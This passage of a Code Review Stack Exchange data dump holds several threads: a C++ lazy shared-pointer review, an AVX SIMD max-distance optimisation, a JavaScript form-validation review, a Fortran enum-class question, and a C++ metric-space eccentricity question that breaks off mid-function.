{\npublic:\n template <typename ... Args>\n LazySharedPtr(Args ... args);\n}\n</code></pre>\n<p>There's some functionality missing that I would expect from a drop-in replacement for <code>std::shared_ptr</code>:</p>\n<ul>\n<li><code>operator*</code></li>\n<li><code>get()</code></li>\n<li><code>reset()</code></li>\n</ul>\n<p>I'd also expect a <code>LazySharedPtr</code> to be assignable to <code>std::shared_ptr</code> (invoking the creator function in the process). That could reduce the need for these functions (especially <code>reset()</code>, which might not make sense here).</p>\n<p>On the other hand, I don't think that <code>LazySharedPtr</code> is intended as a base class for inheritance, so shouldn't need a virtual destructor. And we don't need <code>IsInited()</code>, given we already have <code>operator bool</code>.</p>\n<p>Do have a think about what it means to <em>copy</em> a lazy-pointer object. As it stands, copying a materialized instance yields another shared pointer to the same <code>T</code> object, but copying an unmaterialized instance will result in different <code>T</code> objects in the original and the copy. I wonder if this could make it difficult to use correctly; we might want to make this a move-only type, and require casting to <code>std::shared_ptr</code> in order to copy (thus materialising the object).</p>\n<p>For efficiency, <code>InitAndGet()</code> shouldn't copy the shared pointer, but return a reference. I'm not fond of the naming - C++ convention uses <code>snake_case</code> for function names.</p>\n<p>There's a lot of unnecessary <code>this-></code> cluttering the code.</p>\n<hr />\n<h1>Modified code</h1>\n<pre><code>#include <cstddef>\n#include <functional>\n#include <memory>\n#include <tuple>\n#include <utility>\n\ntemplate <class T>\nclass LazySharedPtr {\npublic:\n template <typename... Args>\n LazySharedPtr(Args... args)\n : ptr{},\n init{[args = std::make_tuple(std::move<Args>(args)...)]() mutable\n { return std::apply(std::make_shared<T, Args...>, std::move(args)); }}\n {}\n\n // compiler-defaulted copy/move construct and assign, and destructor\n\n auto operator->() const\n { return object().get(); }\n\n auto operator*() const\n { return *object(); }\n\n auto operator[](std::ptrdiff_t idx)\n { return object()[idx]; }\n\n explicit operator bool() const noexcept\n { return ptr; }\n\n explicit operator std::shared_ptr<T>() const\n { return object(); }\n\nprivate:\n mutable std::shared_ptr<T> ptr;\n std::function<std::shared_ptr<T>()> init;\n\n auto& object() const\n {\n if (!ptr) { ptr = init(); }\n return ptr;\n }\n};\n\n\nint main()\n{\n LazySharedPtr<int> a{0};\n auto b = std::shared_ptr<int>{a};\n return *b;\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T14:04:33.533",
"Id": "503835",
"Score": "0",
"body": "Shouldn't we return a reference from `operator*` instead of a pointer? Also `std::shared_ptr::get()` is a `const` function that returns a non-`const` pointer, so I think we can get away with only a single function for both the dereference and arrow operators: `T& operator*() const` and `T* operator->() const`. (Well, I guess `ptr` is mutable so we could do that anyway...)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T17:28:00.420",
"Id": "503852",
"Score": "0",
"body": "Yeah, there’s a bit of `const` confusion here. For a (smart) pointer that’s `const`, `operator->` should return `T* const`… not `T const*`… and the `const` in `T* const` is specious on a return type, so basically `operator->() const` should return `T*`. But I think that’s all moot, because a lazy type should’t support `const` member functions at all (even with `operator bool`… what exactly of the semantics of that supposed to be? `IsInited` was a more logical name). If you want a `const` pointer, cast it to `std::shared_ptr`; but `LazySharedPtr` shouldn’t support being `const` at all."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T17:28:15.620",
"Id": "503853",
"Score": "1",
"body": "Also, the `std::forward` in the constructor is really misleading. `[args = std::tuple{std::move(args)...}]` is *much* clearer about what’s going on. (And shorter!)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T11:08:22.827",
"Id": "503906",
"Score": "0",
"body": "Yes, I rushed the `operator*()` and friends. That's not the meat of the review, though, and I'm sure that's easily corrected."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T13:24:44.713",
"Id": "255369",
"ParentId": "255367",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "255369",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T12:27:23.283",
"Id": "255367",
"Score": "1",
"Tags": [
"c++",
"c++17",
"pointers",
"lazy"
],
"Title": "C++ shared pointer wrapper for lazy initialization"
}
|
255367
|
<p>I am trying to find the longest Euclidean distance to the origin for each point. Their positions are stored in two <code>float</code> arrays, denoting each point's position on the Cartesian plane. I tried to speed up the function using SIMD (<strong>WITHOUT</strong> SVML, so no <code>_mm256_hypot_ps</code>), however it still seemed a little bit slow. The code loop through the array by a chunk size of 8, on each iteration updates the maximum squared Euclidean distance and finally returns the sqrt of the maximum element.</p>
<pre><code>#include <immintrin.h>
#include <math.h>
#include <stdio.h>
float dist(const float* x, const float* y, unsigned int len) {
if (len < 16) {
float d = 0.0f, a;
unsigned i = 0;
for (i = 0; i < len; i++) {
a = x[i] * x[i] + y[i] * y[i];
if (a > d) d = a;
}
return sqrt(d);
}
__m256 a = _mm256_loadu_ps(x), b = _mm256_loadu_ps(y);
a = _mm256_mul_ps(a, a);
b = _mm256_mul_ps(b, b);
__m256 max = _mm256_add_ps(a, b); // x[i]*x[i] + y[i]*y[i]
unsigned i;
for (i = 8; i + 8 < len; i += 8) {
a = _mm256_loadu_ps(x + i);
a = _mm256_mul_ps(a, a);
b = _mm256_loadu_ps(y + i);
b = _mm256_mul_ps(b, b);
max = _mm256_max_ps(
max, _mm256_add_ps(a, b)); // max(max[i], x[i]*x[i] + y[i]*y[i])
}
float d = 0.0f, t;
for (; i < len; ++i) {
t = x[i] * x[i] + y[i] * y[i];
if (t > d) d = t;
}
const __m128 hiQuad = _mm256_extractf128_ps(max, 1); // high 128 bits in max
const __m128 loQuad = _mm256_castps256_ps128(max); // low 128 bits in max
const __m128 maxQuad = _mm_max_ps(loQuad, hiQuad);
const __m128 hiDual = _mm_movehl_ps(maxQuad, maxQuad);
const __m128 loDual = maxQuad;
const __m128 maxDual = _mm_max_ps(loDual, hiDual);
const __m128 lo = maxDual;
const __m128 hi = _mm_shuffle_ps(maxDual, maxDual, 0x1);
const __m128 res = _mm_max_ss(lo, hi);
t = _mm_cvtss_f32(res);
if (t > d) d = t;
return sqrt(d);
}
</code></pre>
<p>The function will be called many times. I would like to speed it up further.</p>
|
[] |
[
{
"body": "<p>The most important part of that code, the vector loop, is held up by the loop-carried dependency through <code>vmaxps</code>. <code>vmaxps</code> on eg Skylake takes 4 cycles (other modern Intel processors are similar, but AMD Ryzen is substantially different), limiting the loop to run one iteration per 4 cycles (in steady state), which leaves a lot of available throughput unused. Optimistically, in terms of throughput the expectation is 1 iteration every cycle, 4 times as much. Therefore, unroll the loop by 4, using multiple accumulators:</p>\n<pre><code> // initialized max0, max1, max2, max3 as appropriate\n for (i = 32; i + 32 < len; i += 32) {\n a = _mm256_loadu_ps(x + i);\n a = _mm256_mul_ps(a, a);\n b = _mm256_loadu_ps(y + i);\n b = _mm256_mul_ps(b, b);\n max0 = _mm256_max_ps(max0, _mm256_add_ps(a, b));\n a = _mm256_loadu_ps(x + i + 8);\n a = _mm256_mul_ps(a, a);\n b = _mm256_loadu_ps(y + i + 8);\n b = _mm256_mul_ps(b, b);\n max1 = _mm256_max_ps(max1, _mm256_add_ps(a, b));\n a = _mm256_loadu_ps(x + i + 16);\n a = _mm256_mul_ps(a, a);\n b = _mm256_loadu_ps(y + i + 16);\n b = _mm256_mul_ps(b, b);\n max2 = _mm256_max_ps(max2, _mm256_add_ps(a, b));\n a = _mm256_loadu_ps(x + i + 24);\n a = _mm256_mul_ps(a, a);\n b = _mm256_loadu_ps(y + i + 24);\n b = _mm256_mul_ps(b, b);\n max3 = _mm256_max_ps(max3, _mm256_add_ps(a, b));\n }\n max0 = _mm256_max_ps(_mm256_max_ps(max0, max1), _mm256_max_ps(max2, max3));\n</code></pre>\n<p>Since the total unroll factor is so high, it becomes more interesting to try to eliminate the "scalar epilog" (the scalar loop after the main loop), for example by using the "step back from the end"-technique in which when <code>i + 32 < len</code> becomes <code>false</code>, <code>i</code> or the pointers <code>x</code> and <code>y</code> are adjusted so that an iteration of the main loop (or a duplicate of it) exactly handles the remaining part of the data, without reading beyond the end of the arrays. That last iteration will overlap somewhat with the second-to-last iteration, but that is OK in this case because the maximum of all results will be taken anyway, and having some duplicates won't affect that maximum.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T07:34:07.033",
"Id": "503899",
"Score": "0",
"body": "Could I optimise it even further?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T07:43:11.120",
"Id": "503900",
"Score": "0",
"body": "@FunnyBunnyleaksmemory yes but not much, perhaps more could be done in larger context"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T08:41:13.780",
"Id": "503903",
"Score": "0",
"body": "Is there a faster algorithm?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T12:55:30.853",
"Id": "503912",
"Score": "0",
"body": "@FunnyBunnyleaksmemory not as a drop-in replacement (if fewer than `len` elements are looked at, one of the skipped elements might actually be the point that's furthest from the origin) but maybe in a broader context"
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T14:10:23.487",
"Id": "255370",
"ParentId": "255368",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "255370",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T13:12:34.440",
"Id": "255368",
"Score": "5",
"Tags": [
"c++",
"performance",
"c",
"simd"
],
"Title": "SIMD Finding the maximum Euclidean distance to origin (c++)"
}
|
255368
|
<p>How to improve my validation in JavaScript?</p>
<p>Namely I am wondering whether some parts of code can be shortened, improved, or removed althogether.</p>
<p>I don't want to change the ES5 syntax because so far I am not familiar with Es6 syntax.</p>
<p>I also want to avoid using jQuery.</p>
<p>This is my validation code: <a href="https://codepen.io/RobotHabanera/pen/NWbKJLe" rel="nofollow noreferrer">https://codepen.io/RobotHabanera/pen/NWbKJLe</a></p>
<pre><code>var form = document.querySelector('form');
var errormessage = document.querySelector('.error-message');
form.addEventListener('submit', function(e) {
e.preventDefault();
// musimy zalożyć czy formularz jest poprawnie wypełniony czy nie
var errors = [];
errormessage.innerHTML = '';
var clearAllParagraphsAtTheStart = document.querySelectorAll('.form-group p');
clearAllParagraphsAtTheStart.forEach(function(item) {
item.innerHTML = '';
});
// sprawdzić czy walidacja bedzie działać
for (var i = 0; i < form.elements.length; i++) {
var field = form.elements[i];
switch (field.name) {
case 'email':
// najpierw negujemy funkcje hasMonkeyInFiled i jesli negacja przebiegnie prawidłowo to wykona się prawa strona komunikatu && bo
// jesli negacja nie przebiegnie prawidłowo to linijka z prawej sterony sie nie wykona.
!hasMonkeyInFiled(field) && errors.push({
email: 'Email musi posiadać znak @'
});
break;
case 'name':
!hasMoreThanTwoChars(field) && errors.push({
name: 'Twoje imię jest za krótkie'
});
break;
case 'surname':
!hasMoreThanSixChars(field) && errors.push({
surname: 'Twoje nazwisko jest za krótkie'
});
break;
case 'pass1':
!hasCorrectPassword(field, form.elements[i + 1]) && errors.push({
pass1: 'Hasła nie są takie same lub puste'
});
break;
case 'pass2':
!hasCorrectPassword(field, form.elements[i - 1]) && errors.push({
pass2: 'Hasła nie są takie same lub puste'
});
break;
case 'agree':
!isChecked(field) && errors.push({
agree: 'Musisz zaakceptować warunki'
});
break;
}
}
if (errors.length) {
e.preventDefault();
errors = errors.filter(function(v, i, a) {
return a.indexOf(v) === i;
});
errors.forEach(function(item, index) {
// wklej wartość klucza z tablicy errors gdzie nazwa klucza jest równa wartości danego data-validation bierzącego inputa z pętli
var currentKey = Object.keys(errors[index]);
var currentValue = Object.values(errors[index]);
var inputs = document.querySelectorAll('.form-group input');
inputs.forEach(function(item, index) {
if (item.dataset.validation == currentKey) {
var elementP = document.createElement('p');
elementP.innerHTML = currentValue;
item.after(elementP);
}
});
/* errormessage.append(elementP); */
});
}
});
function hasCorrectPassword(field1, field2) {
if (hasMatch(field1, field2) && hasNumberChar(field1) && hasNumberChar(field1)) {
return true;
}
return false;
}
// paramertr 'field' to jest input element
function hasMonkeyInFiled(field) {
return field.value.indexOf('@') > -1;
}
// input ma wiecej niz 6 znakow
function hasMoreThanSixChars(field) {
return field.value.length > 6;
}
// input ma wiecej niz 2 znaki
function hasMoreThanTwoChars(field) {
return field.value.length > 2;
}
// checkbox musi byc zaznaczony
function isChecked(field) {
return field.checked;
}
// pierwsze i drugie hasło są identyczne ale nie puste
function hasMatch(field1, field2) {
// jak sprawdzic czy nie sa puste
if (field1.value.length && field1.value.length) {
return field1.value == field2.value;
}
return false;
}
// Warunek dla chętnych. Dodatkowe. Hasło ma mieć co najmniej 6 znaków (w tym co najmniej jedną liczbę i jedną literę)
function hasNumberChar(field) {
var numbers = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9];
var hasNumber = false;
numbers.forEach(function(number) {
if (field.value.indexOf(number) > -1) {
hasNumber = true;
}
});
return hasNumber;
}
function hasLetterChar(field) {
var chars = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
var hasChar = false;
chars.forEach(function(char) {
if (field.value.toLowerCase().indexOf(chars) > -1) {
hasChar = true;
}
});
return hasChar;
}
// input ma wiecej niz 5 znakow
function hasMoreThanFiveChars(field) {
return field.value.length > 5;
}
function isPangram(string) {
string.replace(/ /g, '');
for (var i = 0; i < string.trim().length; i++) {
var array = [];
var chars = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
chars.forEach(function(char) {
if (char == string.substr(string[i], 1)) {} else {
array.push(string[i])
}
});
}
if (array.length) {}
// bierze pierwszą litere z tablicy i jedzie tą literą po wszystkich znakach tekstu
string.replace(/ /g, '');
chars.forEach(function(char) {
for (var i = 0; i < string.length; i++) {
var chars = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
if (char == string[i]) {
console.log('jest');
} else {
console.log('nie ma');
}
}
});
};
function isPangram(string) {
string.replace(/ /g, '');
var array = [];
var chars = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
chars.forEach(function(char) {
for (var i = 0; i < string.length; i++) {
// każda litera alfabetu ma przejechać po tekście
if (char == string[i]) {
array.push(string[i]);
} else {}
}
if (array.length > 0) {
console.log('jest')
}
});
};
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T14:49:20.860",
"Id": "503836",
"Score": "2",
"body": "Please explain in the question a little more about what the code is validating. That helps us review the code. Please read [How do I ask a good question?](https://codereview.stackexchange.com/help/how-to-ask) for more details."
}
] |
[
{
"body": "<h2>The validation functionality</h2>\n<p>Overall the validation function looks reasonable. You have a <code>preventDefault</code> at the beginning that blocks the form from ever being sent, but other than that it looks logically structured. You first clear all your previous errors, then look if there are any new errors, and finally show the new errors. You can consider factoring out those three parts, but I don't think it is needed in this particular case.</p>\n<p>There are however some issues with the functions you call though, and some false assumptions you make in and around them.</p>\n<h3><code>hasMoreThanTwoChars</code></h3>\n<p>Whenever you find yourself writing numbers inside function names, it usually means you are doing something wrong. There is either a better description (e.g. <code>fibonacci</code> instead of <code>addLastTwoItemsOfSequence</code>) or in your case, you can and should factor out the number to a parameter.</p>\n<p>In your case you can write a function <code>hasMinimumNumberOfCharacters(field, numberOfCharacters)</code> that handles all three variants.</p>\n<h3><code>name</code> and <code>surname</code></h3>\n<p>While the following article is more than ten years old, it is still very much applicable: <a href=\"https://www.kalzumeus.com/2010/06/17/falsehoods-programmers-believe-about-names/\" rel=\"nofollow noreferrer\">Falsehoods Programmers Believe About Names</a>. For example, I can't fill in your form without padding my name with spaces or something weird like that.</p>\n<h3><code>hasCorrectPassword</code></h3>\n<p>You call your <code>hasCorrectPassword</code> function with <code>form.elements[i - 1]</code> and <code>form.elements[i + 1]</code>. You are almost guaranteed that this will break at some point due to re-ordering or adding of fields. Make it more robust by referencing the fields themselves by name, for example through <code>document.querySelector('#pass2')</code>.</p>\n<p>Furthermore, the function itself is odd, because it performs two functions. You should probably split it up in two well-defined functions. One is <code>isEqualToField(field1, field2)</code> and one is <code>containsNumber(field)</code>. If your password requirements become more complex you could instead consider <code>isValidPassword(field)</code> and <code>isEqualToField(field1, field2)</code>.</p>\n<p>You also seem to be checking twice if the same field has a number character.</p>\n<p>And finally if you have an if-else statement that either returns true or false, you can just return the condition of the if-else statement itself.</p>\n<pre class=\"lang-javascript prettyprint-override\"><code>function hasCorrectPassword(field1, field2) {\n return hasMatch(field1, field2) && hasNumberChar(field1);\n}\n</code></pre>\n<h3><code>hasMatch</code></h3>\n<p>Always check equality using <code>===</code>. Always be mindful of the types of variables and never rely on automatic type conversion for your code to work.</p>\n<h3><code>hasNumberChar</code></h3>\n<p>This function can be improved in many ways. <code>numbers</code> is an array of <code>Number</code>, and you rely on <code>String.indexOf</code> to cast the items to a string. You could make it an array of String to be more mindful when you are using String and when you are using Number. Additionally, it is not very nice to have to define a whitelist of characters, but I suppose we will not use any other digits than the 10 we have defined here.</p>\n<p>Instead of <code>Array.forEach</code> which requires you to loop through all items, you could use several other methods that allow you to return early.</p>\n<p><code>Array.some(func)</code> and <code>Array.every(func)</code> return a boolean if respectively one or all of the items in the array meet a condition, and return early. You would rewrite it as</p>\n<pre class=\"lang-javascript prettyprint-override\"><code>digits.some(function (digit) {\n // This string contains the digit we are looking for\n return field.value.indexOf(digit) !== -1;\n});\n</code></pre>\n<p>You can rewrite <code>forEach</code> loops with a <code>for(const x of myArray)</code> as well, with the added benefit that you can return from this loop or break out of the loop.</p>\n<pre class=\"lang-javascript prettyprint-override\"><code>for (const digit of digits) {\n if (field.value.indexOf(digit) > -1) {\n return true;\n }\n}\n\nreturn false;\n</code></pre>\n<p>Both of these approaches have as additional benefit that you are not keeping track of <code>hasNumbers</code>, but return instantly when you know the answer.</p>\n<h3><code>hasLetterChar</code></h3>\n<p>This function has the same problems as the previous one, except that we have one more problem. Your language contains many characters that do not match your whitelist and relying on that whitelist will cause problems at least for a subset of your users. Even in languages where characters outside this whitelist are uncommon or non-existent should not rely on such a whitelist. For the why, I refer again back to the article a few sections above here.</p>\n<p>If you decide to keep it at all, consider if a check if it contains anything but whitespace would suffice (<code>value.match(/\\S/)</code>). Otherwise look into something like <a href=\"https://stackoverflow.com/q/150033/2209007\">this question on Stackoverflow</a>, but realise that you will likely miss entire scripts and people will be annoyed they can't enter their name because of overly restrictive validators.</p>\n<h3><code>isPangram</code></h3>\n<p>The function <code>isPangram</code> is defined twice, and twice it does not return a boolean. Since it serves no purpose, it should be removed.</p>\n<p>Both functions contain weird things like empty if or else statements, issues like not using strict equality <code>===</code> as mentioned before and the odd whitelist.</p>\n<h2>Use <code>let</code> instead of <code>var</code></h2>\n<p>Even if you use nothing else than this from modern javascript, use <code>let</code> when declaring variables instead of <code>var</code>. Variables declared with <code>var</code> can be read and written to outside the context you would expect them to be used. An example of that is <a href=\"https://stackoverflow.com/q/18465211/2209007\">variables defined with var inside loops being accessible outside that loop</a>. Using <code>let</code> will magically fix that by only being available to read and write once you define it, and properly being discarded at the end of the block it is defined in. Some heavy reading about scoping can be found in <a href=\"https://stackoverflow.com/q/500431/2209007\">What is the scope of variables in Javascript</a>.</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"true\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code snippet-currently-hidden\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>function testWithLet() {\n // console.log(x); // Uncaught ReferenceError: x is not defined\n // x += 5; // Uncaught ReferenceError: x is not defined\n for (let i = 0; i < 5; i++) {\n const x = 1;\n }\n // console.log(i); // Uncaught ReferenceError: i is not defined\n}\n\nfunction testWithVar() {\n console.log(x); // undefined\n x += 5; // What did this just do?\n for (var i = 0; i < 5; i++) {\n var x = 1;\n }\n console.log(i); // 5\n}\n\ntestWithLet();\ntestWithVar();</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<h2>Some additional notes based on the codepen</h2>\n<p>Keep in mind that the browser already has built-in functionality both for validating and making it easier to fill in form fields. In particular, use <code>type</code> to define things like <code>email</code>, <code>tel</code> or <code>number</code>. You can (but don't have to) define patterns the input should be adhering to. (<a href=\"https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input\" rel=\"nofollow noreferrer\">docs on mdn</a>)</p>\n<p>Use the <code>inputmode</code> attribute to give a hint to the browser which on-screen keyboard they should use. This is in particular nice for the fast majority of people who use a mobile device to use the form. Valid values include <code>text</code>, <code>tel</code>, <code>email</code> and <code>url</code>. (<a href=\"https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/inputmode\" rel=\"nofollow noreferrer\">docs on mdn</a>)</p>\n<p>Labels should be associated with their form fields. Either use <code><label>label text: <input /></label></code> or the <code>for=".."</code> attribute on the label to link it to an input. You do this so people with screenreaders have any idea what they are looking at, and to allow people to select the field by clicking the label.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T10:30:23.737",
"Id": "503904",
"Score": "0",
"body": "Wow, nice work man, I will read it thoroughly soom so that I can share my thoughts on what you wrote, thank you"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T05:46:49.073",
"Id": "503970",
"Score": "0",
"body": "You state in regard to `var` *\" ...do not follow scoping very well\"* which is incorrect, and *\"...to the top...\"* should be \"to the top of the function or global scope\" Your statements on the use of `let` are plainly just doctrine. Provided accurate information, if its too much to write, provide links. I will not down vote as the rest of the answer is good (should have been accepted)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T10:03:46.567",
"Id": "503983",
"Score": "0",
"body": "I disagree with your statement, but I have changed the wording a little bit, added links and added an example. I suppose you could see that `var` follows function/global scoping very well if you take into account hoisting to the top of that function, but to people not intimately familiar with the quirks of javascript variables declared with `var` just do \"weird shit\". And there is [no real reason to use it anymore](https://caniuse.com/?search=let)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T13:21:26.750",
"Id": "504141",
"Score": "0",
"body": "@Sumurai8 Plenty of reasons to use `var`. `let` in global scope is dangerous and counter intuitive. `let` adds the name to the global closure but not to the global scope. Meaning `<script>typeof a; let a</script>` will throw an error but `<script>typeof a</script><script>let a</script>` will not. That `<script>let a=0;setTimeout(()=>console.log(a))</script><script>a=1</script>` will counter intuitively log `1` rather than `0` even in strict mode. Poor use of `let` (or `const`) inside loops can result in huge memory use increases if the variable is closed over, which `var` is immune to."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T18:00:47.407",
"Id": "504168",
"Score": "0",
"body": "Noted. `setTimeout` is unrelated to `let` afaik and while I can't find a larger article about it anymore, [this answer on SO](https://stackoverflow.com/a/51728939/2209007) goes into more detail what happens. The other ones I have not encountered myself, but I will look into it."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-03T00:57:40.223",
"Id": "504198",
"Score": "0",
"body": "@Sumurai8 I think you may have missed the point. The timeout is not the issue. The problem is that scripts are not blocks, yet it is almost ubiquitous to treat them as such. When do you see scripts opened and closed with `{`, `}` eg `<script>{ let a }</script>`. The expectation in the example is `<script>{ let a=0;setTimeout(()=>console.log(a)) }</script><script>a=1</script>` console will log `0`"
}
],
"meta_data": {
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T19:34:19.637",
"Id": "255383",
"ParentId": "255372",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T14:20:26.577",
"Id": "255372",
"Score": "1",
"Tags": [
"javascript",
"validation",
"form"
],
"Title": "How can I upgrade my validation in JavaScript?"
}
|
255372
|
<p>I tried to implement something like a C++ <code>enum class</code> in Fortran. That means it should be typesafe and scope bound. (No comparison between integers and enum values for example.)</p>
<p>The following works, but it is still possible to compare two instances of different <code>enum classes</code> at compile time. Do you have suggestions for possible improvements?</p>
<pre><code>module enum_class_mod
implicit none(type, external)
private
public :: EnumBase_t
type, abstract :: EnumBase_t
integer :: val
contains
private
procedure :: eq_EnumBase_t
procedure :: neq_EnumBase_t
generic, public :: operator(==) => eq_EnumBase_t
generic, public :: operator(/=) => neq_EnumBase_t
end type
contains
logical elemental function eq_EnumBase_t(this, other)
class(EnumBase_t), intent(in) :: this, other
if (.not. SAME_TYPE_AS(this, other)) error stop 'Can only compare objects of same type'
eq_EnumBase_t = this%val == other%val
end function
logical elemental function neq_EnumBase_t(this, other)
class(EnumBase_t), intent(in) :: this, other
if (.not. SAME_TYPE_AS(this, other)) error stop 'Can only compare objects of same type'
neq_EnumBase_t = this%val /= other%val
end function
end module
program test_enum_class
use enum_class_mod, only: EnumBase_t
implicit none(type, external)
type, extends(EnumBase_t) :: Color_t
end type
type :: PossibleColors_t
type(Color_t) :: Red = Color_t(1), Blue = Color_t(2)
end type
type(PossibleColors_t), parameter :: possible_colors = PossibleColors_t()
type, extends(EnumBase_t) :: Day_t
end type
type :: PossibleDays_t
type(Day_t) :: Monday = Day_t(1), Tuesday = Day_t(2)
end type
type(PossibleDays_t), parameter :: possible_days = PossibleDays_t()
write(*, *) possible_colors%Red == possible_colors%Blue
write(*, *) possible_colors%Red == possible_colors%Red
write(*, *) possible_days%Monday == possible_days%Tuesday
! fails at runtime, I would like it to fail at compile time
write(*, *) possible_days%Monday == possible_colors%Red
end program
<span class="math-container">```</span>
</code></pre>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T14:50:36.677",
"Id": "255373",
"Score": "3",
"Tags": [
"enum",
"fortran"
],
"Title": "Enum Class in Fortran"
}
|
255373
|
<p>An eccentricity function with parameter <span class="math-container">\$r\$</span> on a metric space <span class="math-container">\$X\$</span> with <span class="math-container">\$N\$</span> points is</p>
<p><span class="math-container">\begin{gather}
f(y) = \left( \sum_{x \in X} \frac {d^r(x, y)} N \right)^{1/r};~~~x,y \in X
\end{gather}</span>
(Note: for the implementation <span class="math-container">\$X\$</span> is a finite metric space since <span class="math-container">\$N<\infty\$</span> for computability)</p>
<p>I have tried to implement this for a general <code>MetricSpace</code> class, with two example metric spaces, namely <span class="math-container">\$\mathbb{R}^n\$</span> and a metric on DNA strands. However, as currently implemented I cannot declare the eccentricity function as a friend of <code>MetricSpace</code> because <code>MetricSpace</code> is a template. So I had to make two eccentricity functions, one for <span class="math-container">\$\mathbb{R}^n\$</span> and one for DNA. This approach works but is not ideal.</p>
<p>How can I improve the design of the program for maintainability so it becomes possible to define just one eccentricity function that takes a <code>MetricSpace</code> as argument, which can then either be <code>Rn</code> or <code>DNA</code>?</p>
<pre><code>#include <iostream>
#include <stdio.h>
#include <stdexcept>
#include <vector>
#include <cmath>
#include <algorithm>
#include <time.h>
#include <random>
template<typename T>
class MetricSpace {
public:
double d();
private:
std::vector<T> points_;
};
class Rn : public MetricSpace<std::vector<double>> {
public:
using MetricSpace::d; // So we can overload the distance function
// Constructor
Rn(std::vector<std::vector<double>> points, int n): dimension_{n} {
points_ = points;
bool invalidDimension = false;
for (long i = 0; i < points_.size(); i++) {
if (points_[i].size() != dimension_) {
invalidDimension = true;
break;
}
}
if (invalidDimension) {
throw std::invalid_argument("At least one point has the wrong dimension.");
}
}
// Distance function
double d(const std::vector<double>& point1, const std::vector<double>& point2) {
double squaredDistance{0};
for (int i = 0; i < dimension_; i++) {
squaredDistance += (point1[i] - point2[i])*(point1[i] - point2[i]);
}
return sqrt(squaredDistance);
}
private:
std::vector<std::vector<double>> points_;
int dimension_;
friend double eccentric(Rn& space, long pointIndex, double r);
};
// Elements are sequences finite (x_1, ..., x_N) with x_i in {A, C, G, T}
// and the distance d(x, y) is the amount of i for which x_i != y_i.
class DNA: public MetricSpace<std::vector<char>> {
public:
using MetricSpace::d;
// Constructor
DNA(std::vector<std::vector<char>> points, int length): length_{length} {
points_ = points;
bool invalidDimension = false;
bool invalidCharacter = false;
for (long i = 0; i < points_.size(); i++) {
if (points_[i].size() != length_) {
invalidDimension = true;
}
for (int j = 0; j < points_[i].size(); j++) {
if ( points_[i][j] != 'A' && points_[i][j] != 'C' && points_[i][j] != 'G' && points_[i][j] != 'T' ) {
invalidCharacter = true;
}
}
}
if (invalidDimension) {
throw std::invalid_argument("At least one DNA strand is too long or too short.");
}
if (invalidCharacter) {
throw std::invalid_argument("At least one DNA strand contains a character not equal to A, C, G or T.");
}
}
// Distance function
double d(const std::vector<char>& point1, const std::vector<char>& point2) {
int counter{0};
for (int i = 0; i < point1.size(); i++) {
if (point1[i] != point2[i]) {
counter++;
}
}
return counter;
}
private:
std::vector<std::vector<char>> points_;
int length_;
friend double eccentric2(DNA& space, long pointIndex, double r);
};
double eccentric(Rn& space, long pointIndex, double r) {
double sum = 0;
long N = space.points_.size();
for (long i = 0; i < N; i++) {
sum += pow(space.d(space.points_[pointIndex], space.points_[i]), r);
}
return pow(sum/N, 1/r);
}
double eccentric2(DNA& space, long pointIndex, double r) {
double sum = 0;
long N = space.points_.size();
